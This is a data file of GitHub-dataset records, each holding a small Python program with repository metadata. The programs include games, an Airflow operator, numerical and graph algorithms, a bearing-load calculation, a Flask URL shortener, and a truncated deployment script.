0\n if player_direction == 0:\n self.speed_x = -system.HADUKEN_SPEED\n else:\n self.speed_x = system.HADUKEN_SPEED\n\n def update(self):\n \"\"\"Update range attack.\"\"\"\n self.rect.centerx += self.speed_x\n if self.rect.left < 0 or self.rect.right > system.WIN_WIDTH:\n self.kill()\n if not self.last_frame:\n self.start_animation()\n\n def start_animation(self):\n \"\"\"Animate range attack.\"\"\"\n self.image_counter += 1 * system.HADUKEN_SPEED_ANIMATION\n im_counter = int(self.image_counter) % images_haduken_len\n self.image = images_haduken[self.haduken_direction][im_counter]\n self.mask = pygame.mask.from_surface(self.image)\n if im_counter == images_haduken_len - 1:\n self.last_frame = True\n","repo_name":"BelyankovOO/JointProject","sub_path":"range_attack.py","file_name":"range_attack.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37688969734","text":"# The task, read a game.\n# Игра \"угадай число\" (проще)\n# ValueError\n\n\nimport random\n\npython = random.randint(1, 30)\n\n\nprint('System loading...')\nprint('Python: Hello, let\\' play my game!')\nprint('If you win, then you will survive.')\n\nprint('''Rules: \n I guessing a number, if you have guessed, then you won! Otherwise, you dead!\n You will have 4 lives ''')\n\nhealth = 4\n\nwhile health > 0:\n user_input = int(input('Enter a number. I recommend to think({} attempts): '.format(health)))\n\n if user_input == python:\n print('You win, congratulation!, number was {}. Thank you so much for the game, good luck!'.format(python))\n break\n elif user_input > python:\n print('System a number - Less')\n health -= 1\n if health == 0:\n print('You lose! You are out of attempts. Number was - ', python)\n break\n continue\n elif user_input < python:\n print('System a number - More')\n health -= 1\n if health == 0:\n print('You lose! You are out of attempts. Numbers was - ', python)\n break\n continue\n","repo_name":"maslennikov9/guess-a-number","sub_path":"lesson_game.py","file_name":"lesson_game.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"8783891977","text":"import logging\nfrom airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\nfrom airflow.contrib.hooks.aws_hook import AwsHook \n\n\nclass CreateTablesOnRedshiftOperator(BaseOperator):\n\n template_fields= (\"create_sql\",)\n\n drop_tables_sql = \"\"\"\n DROP TABLE IF EXISTS {}\n \"\"\"\n\n @apply_defaults\n def __init__(self,\n redshift_conn_id=\"\",\n table=\"\",\n create_sql=\"\",\n *args, **kwargs):\n \n super(CreateTablesOnRedshiftOperator, self).__init__(*args, **kwargs)\n self.redshift_conn_id = redshift_conn_id\n self.table = table\n self.create_sql = create_sql\n\n def execute(self, context):\n redshift_hook = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n self.log.info(\"Creating tables on Redshift...\")\n redered_create_sql = self.create_sql.format(**context)\n formated_drop_sql = CreateTablesOnRedshiftOperator.drop_tables_sql.format(\n self.table\n )\n redshift_hook.run(formated_drop_sql)\n redshift_hook.run(redered_create_sql)","repo_name":"JyotinP/airflow-data-pipelines-udend","sub_path":"plugins/operators/create_table_redshift.py","file_name":"create_table_redshift.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"20059478984","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\ndef read_vector_prices(prices):\n prices_ = []\n for p in prices:\n if p != ' ':\n prices_.append(int(p))\n return prices_\n\ndef get_best_benefit(prices):\n purchase_day_action = min(prices)\n purchase_day_index = prices.index(purchase_day_action)\n sell_day_action = max(prices[purchase_day_index:]) \n\n if sell_day_action != None:\n return sell_day_action - purchase_day_action\n else:\n return 0\n\n\nif __name__ == \"__main__\":\n prices = read_vector_prices(list(input()))\n print(get_best_benefit(prices))\n\n","repo_name":"MacilioFerreira/Lucro_da_acao","sub_path":"lucro_acao.py","file_name":"lucro_acao.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"44300047","text":"from setuptools import setup, find_packages\n \nclassifiers = [\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Education',\n 'Operating System :: MacOS :: MacOS X',\n 'Operating System :: Microsoft :: Windows :: Windows 10',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3'\n]\n \nsetup(\n name='Aalmond',\n version='0.1.0',\n description='Functions for Dataframe Vital Stats, Outliers Detection, Sectional Data View from Mid, Mid Q1, Mid Q3 of a Dataframe',\n long_description=open('README.txt').read() + '\\n\\n' + open('CHANGELOG.txt').read(),\n url='', \n author='Manoj S Bhave',\n author_email='manojsbhave@gmail.com',\n license='MIT', \n classifiers=classifiers,\n keywords='Data Science, Data Analysis, EDA, Vital Stats, Outliers, Impute, IQR, Zscore, Sectional Dataframe View',\n packages=find_packages(),\n install_requires=[''] \n)","repo_name":"manojsbhave/Aalmond","sub_path":"Aalmond/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34157241749","text":"#!/usr/bin/env python3\nimport numpy as np\nimport matplotlib.pyplot as plt\ndat = np.loadtxt('flux')\nl = dat.shape[0]\nmesh_dimx = int(l**0.5)\ndat2 = dat.reshape((mesh_dimx, mesh_dimx))\nplt.pcolormesh(dat2)\nplt.colorbar()\nplt.savefig('1group_%i.png' % mesh_dimx)\n","repo_name":"gridley/discocat","sub_path":"plot1group.py","file_name":"plot1group.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"20506747895","text":"\"\"\"\nThis file is used to create the barycentric graph and singular locus graph of a simplicial\norbifold. The graph data type is defined in graph.py.\n\nThe barycentric graph has one vertex for every tet, vertex class, edge class, and face class\nof a simplicial orbifold \"orb\". You have an edge exactly when one of these is contained in the other.\nThere could be more than one edge between two vertices in the graph. The graph edges are given a\npositive integer label corresponding to the order of the rotation group fixing it. The idea \nis that this graph is the 1-skeleton of the barycentric subdivision of the simplicial orbifold, \nquotiented out by the symmetries of the tets. \n\nFor example, suppose 0-simplices V1 and V2 of tet0 belong to the same vertex class, V. If V1 \nand V2 are not identified by a symmetry of tet0, then each contributes a distinct edge \nbetween the graph vertex of tet0 and the graph vertex of V in the barycentric graph. If they\nare identified by a symmetry, then they only contribute one edge.\n\nTo say it more precisely, the orbit of V1 in tet0 under the action of the symmetry group of tet0\ncontributes exactly one edge from the graph vertex of tet0 to the graph vertex of V. You can make\nthe same kind of statement to determine graph edges between the other graph vertex types.\n\nThe singular locus graph is obtained from the barycentric graph by:\n- Removing all edges labelled 1.\n- Removing any isolated vertices which result from step 1.\n- Removing any valence 2 vertices.\n\n\"\"\"\n\nfrom graph import*\nfrom SimplicialOrbifold import*\n\n\n# In addition to creating the barycentric graph, this function also sets CuspType for each\n# vertex of orb. Must be one of the strings 'finite','torus','(2,2,2,2)','(2,3,6)','(2,4,4)',\n# '(3,3,3)', or 'error'.\ndef barycentric_graph(orb):\n\t# Create the graph vertices and a dictionary associating them to\n\t# the tets, vertex classes, edge classes, and face classes.\n\tclass_to_graph_vertex = dict()\n\tfor tet in orb.Tetrahedra:\n\t\tclass_to_graph_vertex[tet] = Vertex()\n\tfor orb_vertex in orb.Vertices:\n\t\tclass_to_graph_vertex[orb_vertex] = Vertex()\n\tfor orb_edge in orb.Edges:\n\t\tclass_to_graph_vertex[orb_edge] = Vertex()\n\tfor face in orb.Faces:\n\t\tclass_to_graph_vertex[face] = Vertex()\n\tgraph_vertices = [class_to_graph_vertex[key] for key in class_to_graph_vertex.keys()]\n\tgraph = Graph()\n\tgraph.Vertices = graph_vertices\n\t# The rest of the function is about deciding what edges to make and what\n\t# their labels should be.\n\t# First we make the edges connected to the tet vertices.\n\tfor tet in orb.Tetrahedra:\n\t\tvertex1 = class_to_graph_vertex[tet]\n\t\tskip = []\n\t\tfor zero_subsimplex in ZeroSubsimplices:\n\t\t\tif zero_subsimplex not in skip:\n\t\t\t\tfor sym in tet.Symmetries:\n\t\t\t\t\tskip.append(sym.image(zero_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[zero_subsimplex]]\n\t\t\t\tif tet.non_trivial_sym_fixing(zero_subsimplex):\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,3)\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t\tskip = []\n\t\tfor one_subsimplex in OneSubsimplices:\n\t\t\tif one_subsimplex not in skip:\n\t\t\t\tfor sym in tet.Symmetries:\n\t\t\t\t\tskip.append(sym.image(one_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[one_subsimplex]]\n\t\t\t\tif tet.non_trivial_sym_fixing(one_subsimplex):\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,2)\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t\tskip = []\n\t\tfor two_subsimplex in TwoSubsimplices:\n\t\t\tif two_subsimplex not in skip:\n\t\t\t\tfor sym in tet.Symmetries:\n\t\t\t\t\tskip.append(sym.image(two_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[two_subsimplex]]\n\t\t\t\tif tet.non_trivial_sym_fixing(two_subsimplex):\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,3)\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t# Now we make edges connecting face vertices to edge and vertex vertices.\n\tfor face in orb.Faces:\n\t\tvertex1 = class_to_graph_vertex[face]\n\t\tcorner = face.get_glued_corner()\n\t\ttet = corner.Tetrahedron\n\t\ttwo_subsimplex = corner.Subsimplex\n\t\t# Record the face symmetries.\n\t\tface_syms = []\n\t\tfor sym in tet.Symmetries:\n\t\t\tif sym.image(two_subsimplex) == two_subsimplex:\n\t\t\t\tface_syms.append(sym)\n\t\tif tet.face_glued_to_self(two_subsimplex):\n\t\t\tperm = tet.Gluing[two_subsimplex]\n\t\t\textra_syms = [perm*sym for sym in face_syms]\n\t\t\tface_syms = face_syms + extra_syms\n\t\tskip = []\n\t\tfor zero_subsimplex in ZeroSubsimplices:\n\t\t\tif is_subset(zero_subsimplex,two_subsimplex) and zero_subsimplex not in skip:\n\t\t\t\tfor sym in face_syms:\n\t\t\t\t\tskip.append(sym.image(zero_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[zero_subsimplex]]\n\t\t\t\tfor sym in face_syms:\n\t\t\t\t\tif sym.image(zero_subsimplex) == zero_subsimplex and sym.tuple() != (0,1,2,3):\n\t\t\t\t\t\tgraph.make_edge(vertex1,vertex2,2)\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t\tskip = []\n\t\tfor one_subsimplex in OneSubsimplices:\n\t\t\tif is_subset(one_subsimplex,two_subsimplex) and one_subsimplex not in skip:\n\t\t\t\tfor sym in face_syms:\n\t\t\t\t\tskip.append(sym.image(one_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[one_subsimplex]]\n\t\t\t\tfor sym in face_syms:\n\t\t\t\t\tif sym.image(one_subsimplex) == one_subsimplex and sym.tuple() != (0,1,2,3):\n\t\t\t\t\t\tgraph.make_edge(vertex1,vertex2,2)\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t# Now connect edge vertices to vertex vertices.\n\tfor edge in orb.Edges:\n\t\tvertex1 = class_to_graph_vertex[edge]\n\t\t# An edge either has a reflectional symmetry or no symmetry. It has the symmetry\n\t\t# if it's mapped nontrivially to itself by an order 2 sym of some tet or a face\n\t\t# being glued to itself. edge.has_symmetry() determines if this is the case.\n\t\tone_subsimplex = edge.Corners[0].Subsimplex\n\t\ttet = edge.Corners[0].Tetrahedron\n\t\tfor zero_subsimplex in ZeroSubsimplices:\n\t\t\tif is_subset(zero_subsimplex,one_subsimplex):\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[zero_subsimplex]]\n\t\t\t\tgraph.make_edge(vertex1,vertex2,edge.LocusOrder)\n\t\t\t\tif edge.has_symmetry():\n\t\t\t\t\t# In this case we want to stop the for loop, we only want to make\n\t\t\t\t\t# one new graph edge.\n\t\t\t\t\tbreak\n\tfor i in range(len(graph.Vertices)):\n\t\tgraph.Vertices[i].Index = i\n\tfor i in range(len(graph.Edges)):\n\t\tgraph.Edges[i].Index = i\n\treturn graph\n\n\"\"\"\nGiven a simplicial orbifold \"orb\", return its singular locus. First it gets the barycentric\ngraph, then it turns that into the singular locus.\n\"\"\"\ndef singular_locus(orb):\n\tgraph = barycentric_graph(orb)\n\tedges_list = [ edge for edge in graph.Edges ]\n\tfor edge in edges_list:\n\t\tif edge.LocusOrder == 1:\n\t\t\tgraph.delete_edge(edge)\n\tvertex_list = [ vertex for vertex in graph.Vertices]\n\tfor vertex in vertex_list:\n\t\tif len(vertex.Edges) == 0:\n\t\t\tgraph.delete_vertex(vertex)\n\t\tgraph.attempt_remove_valence_2_vertex(vertex)\n\treturn graph\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t\n","repo_name":"Mark-Fincher/Canonical_Decomposition","sub_path":"singular_locus.py","file_name":"singular_locus.py","file_ext":"py","file_size_in_byte":6720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"5529400943","text":"import numpy as np\n\n# spectrum of TOD\n# 1/f noise fit\n\ndef tod_fft(data, clk=200e6, Nds=100000):\n Fs = clk / Nds # sampling frequency\n dt = 1/Fs\n N = data.size\n freq = np.fft.fftfreq(N, d=dt)\n\n dataf = np.fft.fft(data)\n \n return freq, dataf\n\nif __name__=='__main__':\n test_todfft() \n","repo_name":"railroad2/GBpipe","sub_path":"GBtodana.py","file_name":"GBtodana.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15980588864","text":"import streamlit as st\nimport random\n\noption = st.radio(\n 'What would you like to be the limit',\n (2, 5, 10, 20, 50, 100, 500, 1000))\n\nlimit = st.number_input('Select your guess', min_value = 0, max_value = option, value= 0)\nnum = random.randint(0, option)\n\nif st.button('Done'):\n if num == int(limit):\n st.success('Congrats, you got it correct!')\n else:\n st.error(f'Your Number was {limit}, but the Program guessed {num}')\n","repo_name":"AhmedRaza0609/guessing","sub_path":"guesser.py","file_name":"guesser.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41706912270","text":"#-*- coding: utf-8 -*-\n\nimport xlrd\nimport xlwt\nimport re\n\n# 检查是否满足报考条件\ndef check(row_value):\n zy = row_value[11]\n if not checkZY(zy):\n return False\n\n xw = row_value[13]\n if not checkXW(xw):\n return False\n\n if checkSpecial(row_value):\n return False\n\n return True\n\n# 检查是否满足专业要求\ndef checkZY(value):\n pat = re.compile(u'不限|限制|生物工程|化工')\n if re.search(pat, value):\n return True\n\n return False\n\n# 检查是否满足学位要求\ndef checkXW(value):\n pat = re.compile(u'学士|不|无')\n if re.search(pat, value):\n return True\n\n return False\n\n# 减产是否需要满足特殊要求\ndef checkSpecial(row_value):\n pat = re.compile(u'是')\n for i in range(16, 19):\n value = row_value[i]\n if re.search(pat, value):\n return True\n\n return False\n\n# 根据条件筛选出职位\ndef filterTitle():\n data = xlrd.open_workbook('gjgwy.xls')\n output = xlwt.Workbook(encoding='utf-8')\n\n for sheet in data.sheets():\n output_sheet = output.add_sheet(sheet.name)\n output_row = 1\n for row in range(sheet.nrows):\n row_value = sheet.row_values(row)\n if len(row_value) < 11:\n continue\n\n choosed = True\n if row != 2 and not check(row_value):\n choosed = False\n\n if choosed == True:\n for col in range(sheet.ncols):\n output_sheet.row(output_row).write(col, sheet.cell(row,col).value)\n\n output_sheet.flush_row_data()\n output_row += 1\n\n output.save('output.xls')\n\nif __name__ == '__main__':\n filterTitle()\n","repo_name":"luckykiddie/quick-and-dirty","sub_path":"python/gjgwy/gjgwy.py","file_name":"gjgwy.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"22088903674","text":"import numpy as np\nfrom dezero import Variable\nimport dezero.functions as F\n\n# dataset\nnp.random.seed(0)\nx = np.random.rand(100, 1)\ny = np.sin(2 * np.pi * x) + np.random.rand(100, 1)\n\n# initialize weight\nI, H, D = 1, 10, 1\nW1 = Variable(0.01 * np.random.randn(I, H))\nb1 = Variable(np.zeros(H))\nW2 = Variable(0.01 * np.random.randn(H, D))\nb2 = Variable(np.zeros(D))\n\n# inference\ndef predict(x):\n y = F.linear_simple(x, W1, b1)\n y = F.sigmoid_simple(y)\n y = F.linear(y, W2, b2)\n return y\n\nlr = 0.2\niters = 10000\n\n# training\nfor i in range(iters):\n y_pred = predict(x)\n loss = F.mean_squared_error(y, y_pred)\n\n W1.clear_grad()\n b1.clear_grad()\n W2.clear_grad()\n b2.clear_grad()\n loss.backward()\n\n W1.data -= lr * W1.grad.data\n b1.data -= lr * b1.grad.data\n W2.data -= lr * W2.grad.data\n b2.data -= lr * b2.grad.data\n\n if i % 1000 == 0:\n print(loss)\n\nsorted_x = x.copy()\nsorted_x.sort(axis=0)\npreds = predict(sorted_x)\nu\nsorted_x = sorted_x.squeeze()\npreds = preds.data.squeeze()\n\nimport matplotlib.pyplot as plt\n\nplt.scatter(x, y)\nplt.plot(sorted_x, preds, color='red')\nplt.show()\n","repo_name":"rrbb014/rrbb-playground","sub_path":"ml/from-scratch-3/step43.py","file_name":"step43.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19099966665","text":"# Graph representation: directed weighted graph on matrix adjacency\r\n\r\n# compelxity:\r\n# - time O(V^3)\r\n# - space O(V^2)\r\n\r\n\r\ndef get_path(paths, u, v):\r\n path = []\r\n if v is not None:\r\n path.append(v)\r\n path.extend(get_path(paths, u, paths[u][v]))\r\n return path\r\n\r\n\r\n# copy of Floyd Warshall alg.\r\ndef Floyd_Warshall(graph, n):\r\n distances = [[0 if u == v else float(\r\n \"inf\") if graph[u][v] == 0 else graph[u][v] for v in range(n)] for u in range(n)]\r\n paths = [[None if u == v else u if graph[u][v] !=\r\n 0 else None for v in range(n)] for u in range(n)]\r\n for k in range(n):\r\n for u in range(n):\r\n for v in range(n):\r\n if distances[u][v] > distances[u][k] + distances[k][v]:\r\n distances[u][v] = distances[u][k] + distances[k][v]\r\n paths[u][v] = paths[k][v]\r\n return distances, paths\r\n\r\n\r\ndef min_cycle(graph):\r\n n = len(graph)\r\n distances, paths = Floyd_Warshall(graph, n)\r\n # each edge\r\n a, b, min_cycle_weight = 0, 0, float(\"inf\")\r\n for u in range(n-1):\r\n for v in range(u+1, n):\r\n if distances[u][v] + distances[v][u] < min_cycle_weight:\r\n a, b, min_cycle_weight = u, v, distances[u][v] + \\\r\n distances[v][u]\r\n a_b_path = list(reversed(get_path(paths, a, b)))\r\n # to not return in path same vertex\r\n a_b_path.pop()\r\n b_a_path = list(reversed(get_path(paths, b, a)))\r\n if min_cycle_weight == float(\"inf\"):\r\n return\r\n else:\r\n # returning minimal cycle with path of it\r\n return min_cycle_weight, a_b_path + b_a_path\r\n\r\n\r\ngraph = [\r\n [0, 0, 7, 0],\r\n [5, 0, 0, 0],\r\n [0, 0, 0, 6],\r\n [0, 3, 0, 0],\r\n]\r\n\r\nprint(min_cycle(graph))\r\n","repo_name":"HITOfficial/College","sub_path":"ASD/graph_templates/minimal_cycle_Floyd_Warshall_weight_directed_graph_matrix_adjacency.py","file_name":"minimal_cycle_Floyd_Warshall_weight_directed_graph_matrix_adjacency.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"41200199747","text":"import math\n\nimport numpy as np\n\nfrom numeric_methods import secant_method\n\n\ndef load_distr_cyl_rol_bear(phis, number_rollers, length_roller, res_x,\n combined_profile, roller_axis, radial_clearance,\n radial_load):\n \"\"\"Caclulate the load distribution in a cylindrical roller bearing\n according to standard DIN 26281\"\"\"\n cl = 35948 * math.pow(length_roller, (8 / 9))\n cs = cl / res_x\n x_axis = abs(roller_axis)\n cos_phi = list((math.cos(phi) for phi in phis))\n\n delta_r = radial_clearance * 4 + 0.000000001\n delta_f = 20\n sum_re_ns = np.zeros(number_rollers)\n psi_j = np.zeros(number_rollers)\n delta_j = np.zeros(number_rollers)\n sum_mns = np.zeros(number_rollers)\n delta_jk = np.zeros((number_rollers, res_x))\n delta_re = np.zeros(number_rollers)\n x_value = []\n fx_value = []\n radial_load = radial_load or 0.000000001\n\n while abs(delta_f) > 0.0005 * radial_load:\n sum_zwk = 0\n delta_re = np.zeros(number_rollers)\n for z in range(number_rollers):\n sum_re_ns[z] = 0\n sum_mns[z] = 0\n delta_j[z] = delta_r * cos_phi[z] - radial_clearance / 2\n for n in range(0, res_x):\n delta_jk[z, n] = max((delta_j[z] - x_axis[n] * math.tan(\n psi_j[z]) - 2 * combined_profile[n]), 0)\n sum_re_ns[z] += math.pow(delta_jk[z, n], (10 / 9))\n delta_re[z] = cos_phi[z] * sum_re_ns[z]\n sum_zwk += delta_re[z]\n delta_f = abs(radial_load - cs * sum_zwk)\n x_value = np.append(x_value, [delta_r])\n fx_value = np.append(fx_value, [delta_f])\n delta_r = secant_method(x_value, fx_value)\n\n roller_normal_forces = sum_re_ns * cs\n return roller_normal_forces, delta_re\n","repo_name":"moritzploss/tribology","sub_path":"tribology/p3can/load_distr_cyl_rol_bear.py","file_name":"load_distr_cyl_rol_bear.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"44"} +{"seq_id":"31860737729","text":"def is_eligible(age,citizenship,prison):\n '''(int,str,str) -> bool\nreturns \"True\" if the person is eligible to vote and \"False\" if they are not\neligible to vote.'''\n if age >=18 and citizenship == \"Yes\" or \"YES\" and prison== \"No\" or \"no\":\n return True\n else:\n return False\n\n \n\n\n\n\n\nname=input(\"What is your name ? \")\nage= int(input(\"What is your age ? \"))\ncitizenship= input(\"Are you a Canadian citizen ? \")\nprison= input(\"Are you currently serving time in prison ? \")\n\n\n\nif is_eligible(age,citizenship,prison):\n print(name, \", you are eligible to vote\")\nelse:\n print(name, \", you are ineligible to vote\")\n","repo_name":"MokahalA/ITI1120","sub_path":"Lab 4 Work/lab4ex1.py","file_name":"lab4ex1.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70847272133","text":"# -*- coding: utf-8 -*-\n\nfrom tkinter import StringVar,Frame,Label,Button,Entry,W,E\nfrom tkinter.messagebox import showerror\n\nfrom tkinter_test.a_v2_demo.MainPage import MainPage\nfrom tkinter_test.a_v2_demo import constants\n\n\nclass LoginPage(object):\n\n def __init__(self, master=None):\n self.root = master # 定义内部变量root\n self.root.geometry('%dx%d' % (constants.PARAMS_WIDTH, constants.PARAMS_HEIGHT)) # 设置窗口大小\n self.p1 = StringVar(value=constants.PARAMS_1)\n self.p2 = StringVar(value=constants.PARAMS_2)\n self.p3 = StringVar(value=constants.PARAMS_3)\n self.p4 = StringVar(value=constants.PARAMS_4)\n self.create_page()\n\n def create_page(self):\n self.page = Frame(self.root) # 创建Frame\n self.page.pack()\n Label(self.page).grid(row=0, stick=W)\n\n Label(self.page, text='参数一: ').grid(row=1, stick=W, pady=10)\n Entry(self.page, textvariable=self.p1).grid(row=1, column=1, stick=E)\n\n Label(self.page, text='参数二: ').grid(row=2, stick=W, pady=10)\n Entry(self.page, textvariable=self.p2).grid(row=2, column=1, stick=E)\n\n Label(self.page, text='参数三: ').grid(row=3, stick=W, pady=10)\n Entry(self.page, textvariable=self.p3).grid(row=3, column=1, stick=E)\n\n Label(self.page, text='参数四: ').grid(row=4, stick=W, pady=10)\n Entry(self.page, textvariable=self.p4).grid(row=4, column=1, stick=E)\n\n Button(self.page, text='确认', command=self.login_check).grid(row=5, stick=W, pady=10)\n Button(self.page, text='退出', command=self.page.quit).grid(row=5, column=1, stick=E)\n\n def login_check(self):\n p1 = self.p1.get()\n p2 = self.p2.get()\n p3 = self.p3.get()\n p4 = self.p4.get()\n\n if not all((p1, p2, p3, p4)):\n # 弹出错误信息\n showerror(title='错误', message='必填参数')\n else:\n # 跳转下一个页面\n self.page.destroy()\n kwargs = {\n \"p1\":p1,\n \"p2\":p2,\n \"p3\":p3,\n \"p4\":p4,\n }\n MainPage(self.root, **kwargs)\n\n\n","repo_name":"cjwisme111/tkinter_test","sub_path":"a_v2_demo/LoginPage.py","file_name":"LoginPage.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32358796515","text":"#!/usr/bin/python\n\n'''Public domain or something. Do what you want.\n- Max Kaye'''\n''' Minifier written with Flask and redis '''\n''' LaMbsFRy: Light Minifier Flask Redis '''\n\n# config\nlogfilename = 'lmfr.log'\ndbnum = 1\ndbPre = 'lmfr'\nsiteUrl = 'http://127.0.0.1:5000/'\n\n# import and init\nfrom flask import Flask\nfrom flask import request, render_template, redirect\napp = Flask(__name__)\n\nimport logging\nlog_handler = logging.FileHandler(logfilename)\nlog_handler.setLevel(logging.WARNING)\napp.logger.addHandler(log_handler)\n\nfrom Crypto.Hash import SHA256\nfrom binascii import hexlify\n\n# helpers\ndef sha256Hash(plaintext):\n\th = SHA256.new()\n\th.update(plaintext)\n\treturn h.digest()\n\t\n## from python-bitcoinlib\nb58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\ndef b58encode(b):\n n = int('0x0' + hexlify(b).decode('utf8'), 16)\n res = []\n while n > 0:\n n, r = divmod (n, 58)\n res.append(b58_digits[r])\n res = ''.join(res[::-1])\n czero = b'\\x00'\n pad = 0\n for c in b:\n if c == czero: pad += 1\n else: break\n return b58_digits[0] * pad + res\n\t\n# database\nclass Database:\n\tdef __init__(self):\n\t\timport redis\n\t\tself.r = redis.StrictRedis(host='localhost', port=6379, db=dbnum)\n\t\tself.dbPre = dbPre\n\tdef exists(self,toTest):\n\t\treturn self.r.exists('%s:%s' % (self.dbPre,toTest))\n\tdef set(self,toSet,value):\n\t\treturn self.r.set('%s:%s' % (self.dbPre,toSet),value)\n\tdef get(self,toGet):\n\t\treturn self.r.get('%s:%s' % (self.dbPre,toGet))\n\tdef rpush(self,toPush, value):\n\t\treturn self.r.rpush('%s:%s' % (self.dbPre,toPush), value)\n\tdef addSite(self, url):\n\t\turlHash = b58encode(sha256Hash(url))\n\t\tif self.exists('urlHashToFB:%s' % urlHash):\n\t\t\treturn self.get('urlHashToFB:%s' % urlHash)\n\t\tfor fbLen in range(1,len(urlHash)+1):\n\t\t\tif not self.exists('fbToUrlHash:%s' % urlHash[:fbLen]):\n\t\t\t\tfb = urlHash[:fbLen]\n\t\t\t\tself.set('urlHashToFB:%s' % urlHash, fb)\n\t\t\t\tself.set('urlHashToUrl:%s' % urlHash, url)\n\t\t\t\tself.set('fbToUrlHash:%s' % fb, urlHash)\n\t\t\t\tself.set('fbToUrl:%s' % fb, url)\n\t\t\t\tself.rpush('listOfHashs', urlHash)\n\t\t\t\treturn siteUrl + fb\n\t\treturn 'Error, no spare firstbits found :( -- that should not happen...'\t\t\n\tdef checkFb(self, fb):\n\t\treturn self.get('fbToUrl:%s' % fb) if self.exists('fbToUrl:%s' % fb) else False\n\n# routes\n@app.route(\"/\")\ndef lookup(fb):\n\turl = db.checkFb(fb)\n\treturn redirect(url) if url != False else '%s firstbits not found' % fb\n\n@app.route(\"/\",methods=[\"GET\",\"POST\"])\ndef main():\n\tif request.method == \"POST\":\n\t\turl = request.form['urlin']\n\t\tlink = db.addSite('http://' + url)\n\t\treturn render_template('result.html',url=url,link=link)\n\treturn render_template('index.html')\n\nif __name__ == \"__main__\":\n\tdb = Database()\n\tapp.run()\n","repo_name":"XertroV/lambsfry","sub_path":"lambsfry.py","file_name":"lambsfry.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70546469253","text":"#!/usr/bin/env python3\n\nimport os\nimport subprocess\nimport paramiko\nimport argparse\nimport json\n\n# Manage the command line arguments\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--update', action='store_true', help='Update the application')\nparser.add_argument('-b', '--build', action='store_true', help='If true, build application before update. Defaults to true.')\nparser.add_argument('-f', '--file', help='Settings file')\n\nargs = parser.parse_args()\nif args.update:\n update = True\nelse:\n update = False\n\nif args.build:\n build = True\nelse:\n build = False\n\n# Read the settings from file\nwith open(args.file) as settings_file:\n settings = json.load(settings_file)\n\n# Set up some variables for improved legibility\n\nlocal = settings['local']\nserver = settings['server']\ndb = settings['db']\n\n##\n# Steps\n#\n# Build the app\n# Upload app at appropriate locations\n# Unpack\n# Install dependencies\n# Generate and upload the startup file\n# Run the application\n##\n\n# Build the app\n\ntemp_folder = os.path.expanduser('~/%s/%s_build' % (local['path'], local['app']))\n\nif build:\n cmds = [\n 'cd %s/%s' % (local['path'], local['app']),\n 'meteor build %s --architecture 